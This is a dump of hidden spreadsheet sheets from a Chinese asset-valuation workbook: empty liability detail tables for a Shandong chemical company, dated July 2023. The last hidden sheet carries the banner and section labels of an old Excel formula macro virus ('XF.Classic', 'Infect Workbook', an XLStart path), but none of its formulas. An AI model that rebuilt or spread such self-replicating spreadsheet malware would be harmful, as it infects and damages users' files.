["合                    计",{"$nulls":4},0,0,0]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-12其他流动负债","index":79,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["其他流动负债评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表5-12"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","结算内容","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                    计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"6-非流动负债汇总 ","index":80,"n_rows":31,"n_cols":7,"rows_kept":31,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["非流动负债评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表6"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增值额","增值率%"]
["6-1","长期借款",0,0,0,0,""]
["6-2","应付债券",0,0,0,0,""]
["6-3","长期应付款",0,0,0,0,""]
["6-4","专项应付款",0,0,0,0,""]
["6-5","预计负债",0,0,0,0,""]
["6-6","递延所得税负债",0,0,0,0,""]
["6-7","其他非流动负债",0,0,0,0,""]
{"$rows_empty":15}
[null,"非流动负债合计",0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"6-1长期借款","index":81,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["长期借款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表6-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","放款银行（或机构）名称","发生日期","到期日","月利率%","币种","外币金额","审计前账面值","账面价值","外币基准日汇率","评估价值","备注"]
{"$rows_empty":21}
["合                    计",{"$nulls":6},0,0,null,0]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"6-2应付债券","index":82,"n_rows":30,"n_cols":10,"rows_kept":30,"hidden":true,"merged":[[1,0,1,9],[2,0,2,9],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应付债券评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":9},"表6-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","债券发行单位","债券种类","发生日期","到期日","票面利率%","审计前账面值","账面价值","评估价值"," 备 注"]
{"$rows_empty":21}
["合                    计",{"$nulls":5},0,0,0]
["产权持有人填表人：",{"$nulls":6},"评估人员："]
["填表日期：年月日"]

{"sheet":"6-3长期应付款","index":83,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,5,6],[5,7,5,9],[5,10,6,10],[5,11,6,11],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["长期应付款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表6-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","审计前账面值",null,null,"账面价值",null,null,"评估价值","备注"]
[{"$nulls":4},"初始额","利息及汇率净损失","合计","初始额","利息及汇率净损失","合计"]
{"$rows_empty":20}
["合                          计",{"$nulls":5},0,null,null,0,0]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"6-4专项应付款","index":84,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["专项应付款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表-4"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（或结算对象）","款项内容","发生日期","审计前账面值","账面价值","评估价值"," 备 注"]
{"$rows_empty":21}
["合                          计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"6-5预计负债","index":85,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["预计负债评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表6-5"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","核算内容","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                          计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"6-6递延所得税负债","index":86,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["递延所得税负债评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表6-6"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","内容","发生日期","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                          计",null,null,0,0,0]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"6-7其他非流动负债","index":87,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["其他非流动负债评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表6-7"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","结算内容","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                          计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"00000000","index":88,"n_rows":26,"n_cols":3,"rows_kept":26,"hidden":true,"flags":["formulas_cached_only"]}
[""]
["Book1"]
["D:\\MICROSOFT OFFICE\\OFFICE\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[3]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]